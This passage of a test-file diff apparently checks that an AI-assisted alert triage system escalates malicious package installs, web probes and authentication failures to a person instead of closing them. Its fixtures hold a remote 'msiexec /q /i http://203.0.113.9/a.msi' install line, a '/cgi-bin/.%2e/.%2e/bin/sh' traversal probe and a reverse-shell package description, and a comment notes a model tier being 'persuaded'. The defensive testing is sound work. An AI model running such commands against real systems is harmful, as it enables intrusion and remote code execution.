abuse each family could hide + +ABUSE = [ + ("2902", DPKG, "status installed sysupdate-helper:amd64 1.0 (postinst opens a reverse shell)"), + ("2932", "New Yum package installed.", "Installed: kernel-tools-helper-0.1-1.x86_64 (unsigned, from /tmp)"), + ("60612", "Application installed Product: AnyDesk -- Installation completed successfully.", + "MsiInstaller: msiexec /q /i http://203.0.113.9/a.msi"), + ("31101", "Web server 400 error code.", "GET /cgi-bin/.%2e/.%2e/bin/sh HTTP/1.1 400"), +] +MALICIOUS_VERDICTS = [ + # The deep tier says malicious, the fast tier a likely threat. + {"triage.threat_assessment": "likely_threat", "triage.threat_likelihood": 85, "analysis.verdict": "malicious", + "analysis.threat_score": 90, "analysis.certainty": 90}, + # The deep tier says malicious at a low threat score. + {"analysis.verdict": "malicious", "analysis.threat_score": 20, "analysis.certainty": 70}, + # Only the fast tier is suspicious; the deep tier was persuaded. + {"triage.threat_assessment": "suspicious", "triage.threat_likelihood": 40}, + # The deep tier cannot tell. + {"analysis.verdict": "inconclusive", "analysis.threat_score": 50, "analysis.certainty": 40}, +] + + +@pytest.mark.parametrize(("rule_id", "description", "log"), ABUSE) +@pytest.mark.parametrize("verdict", MALICIOUS_VERDICTS) +def test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates( + rule_id: str, description: str, log: str, verdict: Dict[str, Any] +) -> None: + """Malicious package install, software install as execution, web probing: the catalogue never decides the + verdict, so a model that sees the abuse sends it to a person (an analyst or a response plan) at every tier.""" + state = wazuh_state(wazuh_event(rule_id, description, full_log=log), **verdict) + assert closure.catalogued_noise(state["alert"]) is not None + for tier in ("off", AUTO): + decision = routing.decide(state, T, tier) + assert decision.route in ("escalate", "plan_response") and decision.disposition != "benign", (tier, decision) + + +# --------------------------------------------------------------------------- review of #345 (H1): authentication failures + +WIN = ["windows", "windows_security"] +AUTH_FAILURES = [ + # (rule id, description, level, groups, mitre): Wazuh 4.14 stock rules mapped outside credential access. + ("60122", "Logon Failure - Unknown user or bad password", 5, WIN + ["authentication_failed"], + {"id": ["T1531"], "tactic": ["Impact"]}), + ("60130", "Logon Failure - Account locked out", 5, WIN + ["authentication_failed"], + {"id": ["T1531"], "tactic": ["Impact"]}), + ("99919", "Failed logon from malicious IP", 10, ["authentication_failed", "invalid_login"], + {"id": ["T1078"], "tactic": ["Defense Evasion", "Persistence", "Privilege Escalation", "Initial Access"]}), + ("60196", "Possible replay attack", 8, WIN + ["authentication_failures"], + {"id": ["T1550"], "tactic": ["Defense Evasion", "Lateral Movement"]}), + ("5302", "User missed the password to change UID to root.", 9, ["syslog", "su", "authentication_failed"], + {"id": ["T1548.003"], "tactic": ["Privilege Escalation", "Defense Evasion"]}), + # No authentication-failure group: listed by rule id. + ("6250", "Asterisk: Multiple failed logins (user enumeration in process).", 10, ["asterisk", "syslog"], None), + ("44733", "FortiAuth: Authentication failed.", 5, ["fortiauth"], {"id": ["T1078"], "tactic": ["Initial Access"]}), +] + + +@pytest.mark.parametrize(("rule_id", "description", "level", "groups", "mitre"), AUTH_FAILURES) +def test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping( + rule_id: str, description: str, level: int, groups: List[str], mitre: Optional[Dict[str, Any]] +) -> None: + """A password spray of one rule repeating looks like noise to the campaign check, so authentication failures + must be a never-close class on their own: by the vendor rule's groups, a listed rule id, or T1531.""" + event = wazuh_event(rule_id, description, level=level, mitre=mitre, groups=groups, + full_log="An account failed to log on. Account Name: svc-backup Failure Reason: bad password") + state = wazuh_state(event, severity="medium") + assert never_close_class(state["alert"]) == "credential_access" + assert model_close_class(state["alert"]) == "credential_access" + assert model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) == ["never_close_class"] + assert routing.decide(state, T, AUTO).route == "escalate" + # The groups and ids only ever block, so they count whatever format built the alert. + pushed = {**state["alert"], "normalizer": "canonical"} + assert never_close_class(pushed) == "credential_access" + + +def test_review_h1_the_groups_are_matched_exactly_and_t1531_alone_is_enough() -> None: + assert AUTH_FAILURE_GROUPS == {"authentication_failed", "authentication_failures", "invalid_login", "login_denied"} + assert never_close_class({"mitre": {"tactics": ["Impact"], "techniques": ["T1531"]}}) == "credential_access" + ok = state_alert(wazuh_event("60106", "Windows logon success", groups=WIN + ["authentication_success"], + mitre={"id": ["T1078"], "tactic": ["Initial Access"]})) + assert never_close_class(ok) is None + upper = state_alert(wazuh_event("100300", "Custom", groups=["Authentication_Failed "], + mitre={"id": ["T1078"], "tactic": ["Initial Access"]})) + assert never_close_class(upper) == "credential_access" + + +def test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes() -> None: + """Re-check of #345: when the raw event is gone altogether, a Wazuh-built alert's groups are unknown: it is + vendor_unknown, a never-close class that also blocks the catalogue lift. 99919 (T1078) no longer slips through.""" + for case in (AUTH_FAILURES[0], AUTH_FAILURES[2]): + alert = state_alert(wazuh_event(*case[:2], groups=case[3], mitre=case[4])) + gone = {k: v for k, v in alert.items() if k != "raw"} + assert never_close_class(gone) in ("credential_access", VENDOR_UNKNOWN) + assert never_close_class({**gone, "raw": {"_omitted": "x"}}) in ("credential_access", VENDOR_UNKNOWN) + bad_ip = state_alert(wazuh_event(*AUTH_FAILURES[2][:2], groups=AUTH_FAILURES[2][3], mitre=AUTH_FAILURES[2][4])) + assert never_close_class({k: v for k, v in bad_ip.items() if k != "raw"}) == VENDOR_UNKNOWN + package = state_alert(wazuh_event("2902", DPKG)) + gone = {k: v for k, v in package.items() if k != "raw"} + assert model_close_class(gone) == VENDOR_UNKNOWN + state = wazuh_state(wazuh_event("2902", DPKG)) + state["alert"] = gone + assert routing.decide(state, T, AUTO).route == "escalate" + # Another format without a raw rule stays as before: its ATT&CK mapping decides. + assert never_close_class({**gone, "normalizer": "canonical"}) == UNMAPPED + + + +def test_final_a_cut_groups_list_never_closes() -> None: + """Final check of #345: with more groups than the state keeps, an authentication-failure group could sit past the + cut, so the alert is vendor_unknown (fail closed); one inside the cut still reads as credential access.""" + padding = {f"field{i}": "x" * 1_500 for i in range(30)} + many = [f"group{i}" for i in range(25)] + ["authentication_failed"] + oversized = state_alert({**wazuh_event("60122", "Logon Failure", groups=many, + mitre={"id": ["T1078"], "tactic": ["Initial Access"]}), "data": padding}) + assert oversized["raw"]["rule"]["groups_truncated"] is True + assert "authentication_failed" not in oversized["raw"]["rule"]["groups"] + assert never_close_class(oversized) == VENDOR_UNKNOWN + package = state_alert({**wazuh_event("2902", DPKG, groups=many[:25]), "data": padding}) + assert model_close_class(package) == VENDOR_UNKNOWN # the cut also blocks the catalogue lift + kept_whole = state_alert(wazuh_event("2902", DPKG, groups=[f"group{i}" for i in range(60)])) + assert kept_whole["raw"]["rule"]["groups_truncated"] is True and model_close_class(kept_whole) == VENDOR_UNKNOWN + early = state_alert({**wazuh_event("60122", "Logon Failure", groups=["authentication_failed"] + many, + mitre={"id": ["T1078"], "tactic": ["Initial Access"]}), "data": padding}) + assert never_close_class(early) == "credential_access" + few = state_alert({**wazuh_event("2902", DPKG), "data": padding}) + assert "groups_truncated" not in few["raw"]["rule"] and model_close_class(few) is None